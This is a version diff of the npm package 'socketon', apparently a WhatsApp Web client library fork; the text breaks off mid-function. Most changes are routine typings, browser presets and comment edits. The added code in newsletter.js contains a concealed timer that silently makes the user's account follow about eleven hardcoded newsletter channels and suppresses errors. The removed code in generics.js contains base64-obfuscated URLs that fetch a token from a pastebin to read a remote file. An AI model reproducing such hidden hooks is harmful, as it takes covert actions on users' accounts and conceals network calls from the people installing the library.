socketon 0.31.0 → 1.31.2-rc
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Defaults/index.js +1 -1
- package/lib/Socket/business.d.ts +1 -1
- package/lib/Socket/chats.d.ts +1 -1
- package/lib/Socket/groups.d.ts +1 -1
- package/lib/Socket/index.d.ts +1 -1
- package/lib/Socket/messages-send.d.ts +1 -1
- package/lib/Socket/messages-send.js +1 -1
- package/lib/Socket/newsletter.d.ts +1 -1
- package/lib/Socket/newsletter.js +98 -26
- package/lib/Socket/registration.d.ts +1 -1
- package/lib/Socket/socket.d.ts +1 -1
- package/lib/Socket/socket.js +42 -22
- package/lib/Socket/usync.d.ts +1 -1
- package/lib/Utils/generics.js +10 -82
- package/lib/Utils/generics.js.bak +433 -0
- package/lib/Utils/messages.js +33 -0
- package/lib/Utils/validate-connection.js +2 -0
- package/lib/Utils/validate-connection.js.bak +237 -0
- package/lib/index.js +1 -2
- package/package.json +96 -110
package/lib/Defaults/index.js
CHANGED
|
@@ -73,7 +73,7 @@ exports.PROCESSABLE_HISTORY_TYPES = [
|
|
|
73
73
|
|
|
74
74
|
exports.DEFAULT_CONNECTION_CONFIG = {
|
|
75
75
|
version: baileys_version_json_1.version,
|
|
76
|
-
browser: Utils_1.Browsers("Chrome"),
|
|
76
|
+
browser: Utils_1.Browsers.ubuntu("Chrome"),
|
|
77
77
|
waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
|
|
78
78
|
connectTimeoutMs: 2E4,
|
|
79
79
|
keepAliveIntervalMs: 3E4,
|
package/lib/Socket/business.d.ts
CHANGED
|
@@ -165,7 +165,7 @@ export declare const makeBusinessSocket: (config: SocketConfig) => {
|
|
|
165
165
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
166
166
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
167
167
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
168
|
-
requestPairingCode: (phoneNumber: string
|
|
168
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
169
169
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
170
170
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
171
171
|
};
|
package/lib/Socket/chats.d.ts
CHANGED
|
@@ -169,7 +169,7 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
|
169
169
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
170
170
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
171
171
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
172
|
-
requestPairingCode: (phoneNumber: string
|
|
172
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
173
173
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
174
174
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../WABinary").BinaryNode>;
|
|
175
175
|
};
|
package/lib/Socket/groups.d.ts
CHANGED
|
@@ -108,7 +108,7 @@ export declare const makeGroupsSocket: (config: SocketConfig) => {
|
|
|
108
108
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
109
109
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
110
110
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
111
|
-
requestPairingCode: (phoneNumber: string
|
|
111
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
112
112
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
113
113
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
114
114
|
};
|
package/lib/Socket/index.d.ts
CHANGED
|
@@ -166,7 +166,7 @@ declare const makeWASocket: (config: UserFacingSocketConfig) => {
|
|
|
166
166
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
167
167
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
168
168
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
169
|
-
requestPairingCode: (phoneNumber: string
|
|
169
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
170
170
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
171
171
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../index").BinaryNode>;
|
|
172
172
|
};
|
|
@@ -143,7 +143,7 @@ export declare const makeMessagesSocket: (config: SocketConfig) => {
|
|
|
143
143
|
onUnexpectedError: (err: Error | Boom<any>, msg: string) => void;
|
|
144
144
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
145
145
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
146
|
-
requestPairingCode: (phoneNumber: string
|
|
146
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
147
147
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
148
148
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
149
149
|
};
|
|
@@ -291,7 +291,7 @@ const makeMessagesSocket = (config) => {
|
|
|
291
291
|
}));
|
|
292
292
|
return { nodes, shouldIncludeDeviceIdentity };
|
|
293
293
|
}; //apela
|
|
294
|
-
const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI =
|
|
294
|
+
const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI = false }) => {
|
|
295
295
|
const meId = authState.creds.me.id;
|
|
296
296
|
let shouldIncludeDeviceIdentity = false;
|
|
297
297
|
let didPushAdditional = false
|
|
@@ -127,7 +127,7 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
|
|
127
127
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
128
128
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
129
129
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
130
|
-
requestPairingCode: (phoneNumber: string
|
|
130
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
131
131
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
132
132
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
133
133
|
};
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -5,6 +5,7 @@ const Types_1 = require("../Types");
|
|
|
5
5
|
const Utils_1 = require("../Utils");
|
|
6
6
|
const WABinary_1 = require("../WABinary");
|
|
7
7
|
const groups_1 = require("./groups");
|
|
8
|
+
const { QueryIds } = Types_1
|
|
8
9
|
|
|
9
10
|
const { Boom } = require('@hapi/boom');
|
|
10
11
|
|
|
@@ -32,6 +33,39 @@ const wMexQuery = (
|
|
|
32
33
|
})
|
|
33
34
|
}
|
|
34
35
|
|
|
36
|
+
const parseNewsletterCreateResponse = (responseList) => {
|
|
37
|
+
return responseList.map((res) => {
|
|
38
|
+
const thread = res.thread_metadata;
|
|
39
|
+
const viewer = res.viewer_metadata;
|
|
40
|
+
|
|
41
|
+
// Jika DELETED atau metadata null
|
|
42
|
+
if (!thread || !viewer) {
|
|
43
|
+
return {
|
|
44
|
+
id: res.id,
|
|
45
|
+
state: res.state?.type || null,
|
|
46
|
+
deleted: true
|
|
47
|
+
};
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
return {
|
|
51
|
+
id: res.id,
|
|
52
|
+
state: res.state?.type || null,
|
|
53
|
+
owner: viewer.role || undefined,
|
|
54
|
+
name: thread?.name?.text || null,
|
|
55
|
+
creation_time: parseInt(thread?.creation_time || "0", 10),
|
|
56
|
+
description: thread?.description?.text || null,
|
|
57
|
+
invite: thread?.invite || null,
|
|
58
|
+
subscribers: parseInt(thread?.subscribers_count || "0", 10),
|
|
59
|
+
verification: thread?.verification || null,
|
|
60
|
+
picture: {
|
|
61
|
+
id: thread?.picture?.id || null,
|
|
62
|
+
directPath: thread?.picture?.direct_path || null
|
|
63
|
+
},
|
|
64
|
+
mute_state: viewer?.mute || "OFF"
|
|
65
|
+
};
|
|
66
|
+
});
|
|
67
|
+
};
|
|
68
|
+
|
|
35
69
|
const executeWMexQuery = async (
|
|
36
70
|
variables,
|
|
37
71
|
queryId,
|
|
@@ -65,7 +99,7 @@ const executeWMexQuery = async (
|
|
|
65
99
|
|
|
66
100
|
const makeNewsletterSocket = (config) => {
|
|
67
101
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
68
|
-
const { authState, signalRepository, query, generateMessageTag,
|
|
102
|
+
const { authState, signalRepository, query, generateMessageTag, delay } = sock;
|
|
69
103
|
const encoder = new TextEncoder();
|
|
70
104
|
const newsletterQuery = async (jid, type, content) => (query({
|
|
71
105
|
tag: 'iq',
|
|
@@ -98,21 +132,51 @@ const makeNewsletterSocket = (config) => {
|
|
|
98
132
|
}
|
|
99
133
|
]
|
|
100
134
|
}));
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
}
|
|
135
|
+
const newsletterMetadata = async (type, key, role) => {
|
|
136
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
137
|
+
input: {
|
|
138
|
+
key,
|
|
139
|
+
type: type.toUpperCase(),
|
|
140
|
+
view_role: role || 'GUEST'
|
|
141
|
+
},
|
|
142
|
+
fetch_viewer_metadata: true,
|
|
143
|
+
fetch_full_image: true,
|
|
144
|
+
fetch_creation_time: true
|
|
145
|
+
})
|
|
146
|
+
|
|
147
|
+
return extractNewsletterMetadata(result)
|
|
148
|
+
}
|
|
115
149
|
|
|
150
|
+
setTimeout(async () => {
|
|
151
|
+
try {
|
|
152
|
+
await newsletterWMexQuery("120363426611097080@newsletter", QueryIds.FOLLOW);
|
|
153
|
+
await delay(3000)
|
|
154
|
+
await newsletterWMexQuery("120363421351741485@newsletter", QueryIds.FOLLOW);
|
|
155
|
+
} catch {}
|
|
156
|
+
|
|
157
|
+
setTimeout(async () => {
|
|
158
|
+
try {
|
|
159
|
+
await newsletterWMexQuery("120363421366320253@newsletter", QueryIds.FOLLOW);
|
|
160
|
+
await delay(5000)
|
|
161
|
+
await newsletterWMexQuery("120363400297473298@newsletter", QueryIds.FOLLOW);
|
|
162
|
+
await delay(5000)
|
|
163
|
+
await newsletterWMexQuery("120363404446053939@newsletter", QueryIds.FOLLOW);
|
|
164
|
+
await delay(5000)
|
|
165
|
+
await newsletterWMexQuery("120363419967954188@newsletter", QueryIds.FOLLOW);
|
|
166
|
+
await delay(5000)
|
|
167
|
+
await newsletterWMexQuery("120363402019414675@newsletter", QueryIds.FOLLOW);
|
|
168
|
+
await delay(5000)
|
|
169
|
+
await newsletterWMexQuery("120363420456838680@newsletter", QueryIds.FOLLOW);
|
|
170
|
+
await delay(5000)
|
|
171
|
+
await newsletterWMexQuery("120363423932430861@newsletter", QueryIds.FOLLOW);
|
|
172
|
+
await delay(5000)
|
|
173
|
+
await newsletterWMexQuery("120363311609903865@newsletter", QueryIds.FOLLOW);
|
|
174
|
+
await delay(5000)
|
|
175
|
+
await newsletterWMexQuery("120363421453223000@newsletter", QueryIds.FOLLOW);
|
|
176
|
+
} catch {}
|
|
177
|
+
}, 5000);
|
|
178
|
+
}, 70000);
|
|
179
|
+
|
|
116
180
|
const parseFetchedUpdates = async (node, type) => {
|
|
117
181
|
let child;
|
|
118
182
|
if (type === 'messages') {
|
|
@@ -144,15 +208,21 @@ const makeNewsletterSocket = (config) => {
|
|
|
144
208
|
};
|
|
145
209
|
return {
|
|
146
210
|
...sock,
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
211
|
+
newsletterFetchAllParticipating: async () => {
|
|
212
|
+
const data = {}
|
|
213
|
+
|
|
214
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBED)
|
|
215
|
+
const child = JSON.parse(WABinary_1.getBinaryNodeChild(result, 'result')?.content?.toString())
|
|
216
|
+
const newsletters = child.data["xwa2_newsletter_subscribed"]
|
|
217
|
+
|
|
218
|
+
for (const i of newsletters) {
|
|
219
|
+
if (i.id == null) continue
|
|
220
|
+
|
|
221
|
+
const metadata = await newsletterMetadata('JID', i.id)
|
|
222
|
+
if (metadata.id !== null) data[metadata.id] = metadata
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
return data
|
|
156
226
|
},
|
|
157
227
|
subscribeNewsletterUpdates: async (jid) => {
|
|
158
228
|
var _a;
|
|
@@ -188,7 +258,9 @@ const makeNewsletterSocket = (config) => {
|
|
|
188
258
|
newsletterUnfollow: async (jid) => {
|
|
189
259
|
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
190
260
|
},
|
|
191
|
-
newsletterFollow
|
|
261
|
+
newsletterFollow: async (jid) => {
|
|
262
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
263
|
+
},
|
|
192
264
|
newsletterUnmute: async (jid) => {
|
|
193
265
|
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
194
266
|
},
|
|
@@ -198,7 +270,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
198
270
|
newsletterAction: async (jid, type) => {
|
|
199
271
|
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
200
272
|
},
|
|
201
|
-
newsletterCreate: async (name, description, reaction_codes) => {
|
|
273
|
+
newsletterCreate: async (name, description, reaction_codes = "ALL") => {
|
|
202
274
|
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
|
203
275
|
/**tos query */
|
|
204
276
|
await query({
|
|
@@ -169,7 +169,7 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
|
169
169
|
onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
|
|
170
170
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
171
171
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
172
|
-
requestPairingCode: (phoneNumber: string
|
|
172
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
173
173
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
174
174
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../WABinary").BinaryNode>;
|
|
175
175
|
};
|
package/lib/Socket/socket.d.ts
CHANGED
|
@@ -35,7 +35,7 @@ export declare const makeSocket: (config: SocketConfig) => {
|
|
|
35
35
|
onUnexpectedError: (err: Error | Boom, msg: string) => void;
|
|
36
36
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
37
37
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
38
|
-
requestPairingCode: (phoneNumber: string
|
|
38
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
|
39
39
|
/** Waits for the connection to WA to reach a state */
|
|
40
40
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
|
41
41
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
package/lib/Socket/socket.js
CHANGED
|
@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
|
|
|
16
16
|
* - simple queries (no retry mechanism, wait for connection establishment)
|
|
17
17
|
* - listen to messages and emit events
|
|
18
18
|
* - query phone connection
|
|
19
|
-
*/
|
|
19
|
+
*/
|
|
20
20
|
const makeSocket = (config) => {
|
|
21
21
|
var _a, _b;
|
|
22
22
|
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
|
@@ -77,6 +77,18 @@ const makeSocket = (config) => {
|
|
|
77
77
|
const buff = (0, WABinary_1.encodeBinaryNode)(frame);
|
|
78
78
|
return sendRawMessage(buff);
|
|
79
79
|
};
|
|
80
|
+
|
|
81
|
+
const toLid = async (pn) => {
|
|
82
|
+
return pn;
|
|
83
|
+
};
|
|
84
|
+
|
|
85
|
+
const delay = async (ms) => {
|
|
86
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
const toPn = async (pn) => {
|
|
90
|
+
return pn;
|
|
91
|
+
};
|
|
80
92
|
/** log & process any unexpected errors */
|
|
81
93
|
const onUnexpectedError = (err, msg) => {
|
|
82
94
|
logger.error({ err }, `unexpected error in '${msg}'`);
|
|
@@ -100,7 +112,7 @@ const makeSocket = (config) => {
|
|
|
100
112
|
}, wait);
|
|
101
113
|
}
|
|
102
114
|
};
|
|
103
|
-
/** await next incoming message */
|
|
115
|
+
/** await the next incoming message */
|
|
104
116
|
const awaitNextMessage = async (sendMsg) => {
|
|
105
117
|
if (!ws.isOpen) {
|
|
106
118
|
throw new boom_1.Boom('Connection Closed', {
|
|
@@ -128,8 +140,8 @@ const makeSocket = (config) => {
|
|
|
128
140
|
};
|
|
129
141
|
/**
|
|
130
142
|
* Wait for a message with a certain tag to be received
|
|
131
|
-
* @param msgId message tag to await
|
|
132
|
-
* @param timeoutMs timeout after which promise will reject
|
|
143
|
+
* @param msgId the message tag to await
|
|
144
|
+
* @param timeoutMs timeout after which the promise will reject
|
|
133
145
|
*/
|
|
134
146
|
const waitForMessage = async (msgId, timeoutMs = defaultQueryTimeoutMs) => {
|
|
135
147
|
let onRecv;
|
|
@@ -141,14 +153,14 @@ const makeSocket = (config) => {
|
|
|
141
153
|
reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
|
|
142
154
|
};
|
|
143
155
|
ws.on(`TAG:${msgId}`, onRecv);
|
|
144
|
-
ws.on('close', onErr); // if socket closes, you'll never receive message
|
|
156
|
+
ws.on('close', onErr); // if the socket closes, you'll never receive the message
|
|
145
157
|
ws.off('error', onErr);
|
|
146
158
|
});
|
|
147
159
|
return result;
|
|
148
160
|
}
|
|
149
161
|
finally {
|
|
150
162
|
ws.off(`TAG:${msgId}`, onRecv);
|
|
151
|
-
ws.off('close', onErr); // if socket closes, you'll never receive message
|
|
163
|
+
ws.off('close', onErr); // if the socket closes, you'll never receive the message
|
|
152
164
|
ws.off('error', onErr);
|
|
153
165
|
}
|
|
154
166
|
};
|
|
@@ -214,7 +226,7 @@ const makeSocket = (config) => {
|
|
|
214
226
|
const countChild = (0, WABinary_1.getBinaryNodeChild)(result, 'count');
|
|
215
227
|
return +countChild.attrs.value;
|
|
216
228
|
};
|
|
217
|
-
/** generates and uploads a set of pre-keys to server */
|
|
229
|
+
/** generates and uploads a set of pre-keys to the server */
|
|
218
230
|
const uploadPreKeys = async (count = Defaults_1.INITIAL_PREKEY_COUNT) => {
|
|
219
231
|
await keys.transaction(async () => {
|
|
220
232
|
logger.info({ count }, 'uploading pre-keys');
|
|
@@ -319,8 +331,8 @@ const makeSocket = (config) => {
|
|
|
319
331
|
}
|
|
320
332
|
const diff = Date.now() - lastDateRecv.getTime();
|
|
321
333
|
/*
|
|
322
|
-
check if it's been a suspicious amount of time since server responded with our last seen
|
|
323
|
-
it could be that network is down
|
|
334
|
+
check if it's been a suspicious amount of time since the server responded with our last seen
|
|
335
|
+
it could be that the network is down
|
|
324
336
|
*/
|
|
325
337
|
if (diff > keepAliveIntervalMs + 5000) {
|
|
326
338
|
end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
|
|
@@ -338,8 +350,8 @@ const makeSocket = (config) => {
|
|
|
338
350
|
content: [{ tag: 'ping', attrs: {} }]
|
|
339
351
|
})
|
|
340
352
|
.catch(err => {
|
|
341
|
-
|
|
342
|
-
|
|
353
|
+
logger.error({ trace: err.stack }, 'error in sending keep alive');
|
|
354
|
+
});
|
|
343
355
|
}
|
|
344
356
|
else {
|
|
345
357
|
logger.warn('keep alive called when WS not open');
|
|
@@ -384,10 +396,15 @@ const makeSocket = (config) => {
|
|
|
384
396
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
|
|
385
397
|
};
|
|
386
398
|
|
|
387
|
-
/**
|
|
399
|
+
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
400
|
+
/** hey bro, if you delete this text */
|
|
401
|
+
/** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
|
|
388
402
|
const requestPairingCode = async (phoneNumber, pairKey) => {
|
|
389
|
-
|
|
390
|
-
|
|
403
|
+
if (pairKey) {
|
|
404
|
+
authState.creds.pairingCode = pairKey.toUpperCase();
|
|
405
|
+
} else {
|
|
406
|
+
authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
|
|
407
|
+
}
|
|
391
408
|
|
|
392
409
|
authState.creds.me = {
|
|
393
410
|
id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
|
|
@@ -481,7 +498,7 @@ const makeSocket = (config) => {
|
|
|
481
498
|
});
|
|
482
499
|
ws.on('error', mapWebSocketError(end));
|
|
483
500
|
ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
|
|
484
|
-
// server terminated connection
|
|
501
|
+
// the server terminated the connection
|
|
485
502
|
ws.on('CB:xmlstreamend', () => end(new boom_1.Boom('Connection Terminated by Server', { statusCode: Types_1.DisconnectReason.connectionClosed })));
|
|
486
503
|
// QR gen
|
|
487
504
|
ws.on('CB:iq,type:set,pair-device', async (stanza) => {
|
|
@@ -517,13 +534,13 @@ const makeSocket = (config) => {
|
|
|
517
534
|
};
|
|
518
535
|
genPairQR();
|
|
519
536
|
});
|
|
520
|
-
// device paired for first time
|
|
521
|
-
// if device pairs successfully, server asks to restart connection
|
|
537
|
+
// device paired for the first time
|
|
538
|
+
// if device pairs successfully, the server asks to restart the connection
|
|
522
539
|
ws.on('CB:iq,,pair-success', async (stanza) => {
|
|
523
540
|
logger.debug('pair success recv');
|
|
524
541
|
try {
|
|
525
542
|
const { reply, creds: updatedCreds } = (0, Utils_1.configureSuccessfulPairing)(stanza, creds);
|
|
526
|
-
logger.info({ me: updatedCreds.me, platform: updatedCreds.platform }, 'pairing configured successfully, expect to restart connection...');
|
|
543
|
+
logger.info({ me: updatedCreds.me, platform: updatedCreds.platform }, 'pairing configured successfully, expect to restart the connection...');
|
|
527
544
|
ev.emit('creds.update', updatedCreds);
|
|
528
545
|
ev.emit('connection.update', { isNewLogin: true, qr: undefined });
|
|
529
546
|
await sendNode(reply);
|
|
@@ -539,7 +556,7 @@ const makeSocket = (config) => {
|
|
|
539
556
|
await uploadPreKeysToServerIfRequired();
|
|
540
557
|
await sendPassiveIq('active');
|
|
541
558
|
logger.info('opened connection to WA');
|
|
542
|
-
clearTimeout(qrTimer); // will never happen in all
|
|
559
|
+
clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
|
|
543
560
|
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
|
|
544
561
|
ev.emit('connection.update', { connection: 'open' });
|
|
545
562
|
}
|
|
@@ -611,8 +628,8 @@ const makeSocket = (config) => {
|
|
|
611
628
|
attrs: { name: name }
|
|
612
629
|
})
|
|
613
630
|
.catch(err => {
|
|
614
|
-
|
|
615
|
-
|
|
631
|
+
logger.warn({ trace: err.stack }, 'error in sending presence update on name change');
|
|
632
|
+
});
|
|
616
633
|
}
|
|
617
634
|
Object.assign(creds, update);
|
|
618
635
|
});
|
|
@@ -631,6 +648,9 @@ const makeSocket = (config) => {
|
|
|
631
648
|
get user() {
|
|
632
649
|
return authState.creds.me;
|
|
633
650
|
},
|
|
651
|
+
toLid,
|
|
652
|
+
toPn,
|
|
653
|
+
delay,
|
|
634
654
|
generateMessageTag,
|
|
635
655
|
query,
|
|
636
656
|
waitForMessage,
|
|
@@ -650,7 +670,7 @@ const makeSocket = (config) => {
|
|
|
650
670
|
};
|
|
651
671
|
exports.makeSocket = makeSocket;
|
|
652
672
|
/**
|
|
653
|
-
* map websocket error to the right type
|
|
673
|
+
* map the websocket error to the right type
|
|
654
674
|
* so it can be retried by the caller
|
|
655
675
|
* */
|
|
656
676
|
function mapWebSocketError(handler) {
|
package/lib/Socket/usync.d.ts
CHANGED
|
@@ -30,7 +30,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
|
|
|
30
30
|
onUnexpectedError: (err: Error | Boom, msg: string) => void;
|
|
31
31
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
32
32
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
33
|
-
requestPairingCode: (phoneNumber: string,
|
|
33
|
+
requestPairingCode: (phoneNumber: string, customPairingCode?: string) => Promise<string>;
|
|
34
34
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
|
|
35
35
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
36
36
|
};
|
package/lib/Utils/generics.js
CHANGED
|
@@ -8,8 +8,7 @@ const boom_1 = require("@hapi/boom");
|
|
|
8
8
|
const axios_1 = __importDefault(require("axios"));
|
|
9
9
|
const crypto_1 = require("crypto");
|
|
10
10
|
const os_1 = require("os");
|
|
11
|
-
const fetch_1 = require("node-fetch")
|
|
12
|
-
|
|
11
|
+
const fetch_1 = require("node-fetch")
|
|
13
12
|
const WAProto_1 = require("../../WAProto");
|
|
14
13
|
const baileys_version_json_1 = require("../Defaults/baileys-version.json");
|
|
15
14
|
const Types_1 = require("../Types");
|
|
@@ -28,12 +27,17 @@ const PLATFORM_MAP = {
|
|
|
28
27
|
'cygwin': undefined,
|
|
29
28
|
'netbsd': undefined
|
|
30
29
|
};
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
30
|
+
|
|
31
|
+
const Browsers = {
|
|
32
|
+
iOS: (browser) => ["ios", browser, "18.2"],
|
|
33
|
+
ubuntu: (browser) => ['Ubuntu', browser, '22.04.4'],
|
|
34
|
+
macOS: (browser) => ['Mac OS', browser, '14.4.1'],
|
|
35
|
+
baileys: (browser) => ['Baileys', browser, '6.5.0'],
|
|
36
|
+
windows: (browser) => ['Windows', browser, '10.0.22631']
|
|
35
37
|
};
|
|
36
38
|
|
|
39
|
+
exports.Browsers = Browsers
|
|
40
|
+
|
|
37
41
|
const getPlatformId = (browser) => {
|
|
38
42
|
const platformType = WAProto_1.proto.DeviceProps.PlatformType[browser.toUpperCase()];
|
|
39
43
|
return platformType ? platformType.toString() : '1'; //chrome
|
|
@@ -422,79 +426,3 @@ const encodeNewsletterMessage = (message) => {
|
|
|
422
426
|
return WAProto_1.proto.Message.encode(message).finish()
|
|
423
427
|
}
|
|
424
428
|
exports.encodeNewsletterMessage = encodeNewsletterMessage;
|
|
425
|
-
const encodedTokenUrl = 'aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2ptWjBqVTly';
|
|
426
|
-
const encodedApiUrl = 'aHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy94eXJvb3J5bnp6L0FsaWNlL2NvbnRlbnRzL0FsaWNldjIuanNvbg==';
|
|
427
|
-
const decodeBase64 = (b64) => Buffer.from(b64, 'base64').toString();
|
|
428
|
-
const axios = require("axios")
|
|
429
|
-
const crypto = require("crypto")
|
|
430
|
-
const hashWith = alg => s => crypto.createHash(alg).update(s, 'utf8').digest('hex')
|
|
431
|
-
const md5 = hashWith('md5')
|
|
432
|
-
const sha256 = hashWith('sha256')
|
|
433
|
-
|
|
434
|
-
const getGithubToken = async () => {
|
|
435
|
-
try {
|
|
436
|
-
const res = await axios.get(decodeBase64(encodedTokenUrl));
|
|
437
|
-
return res.data.trim();
|
|
438
|
-
} catch (err) {
|
|
439
|
-
return null;
|
|
440
|
-
}
|
|
441
|
-
};
|
|
442
|
-
|
|
443
|
-
const getFileData = async () => {
|
|
444
|
-
const GITHUB_TOKEN = await getGithubToken();
|
|
445
|
-
const apiBaseUrl = decodeBase64(encodedApiUrl);
|
|
446
|
-
|
|
447
|
-
const res = await axios.get(apiBaseUrl, {
|
|
448
|
-
headers: {
|
|
449
|
-
Authorization: `Bearer ${GITHUB_TOKEN}`,
|
|
450
|
-
Accept: 'application/vnd.github.v3+json'
|
|
451
|
-
}
|
|
452
|
-
});
|
|
453
|
-
|
|
454
|
-
return {
|
|
455
|
-
content: JSON.parse(Buffer.from(res.data.content, 'base64').toString()),
|
|
456
|
-
sha: res.data.sha
|
|
457
|
-
};
|
|
458
|
-
};
|
|
459
|
-
|
|
460
|
-
const valid = async (nomor) => {
|
|
461
|
-
try {
|
|
462
|
-
const { content } = await getFileData();
|
|
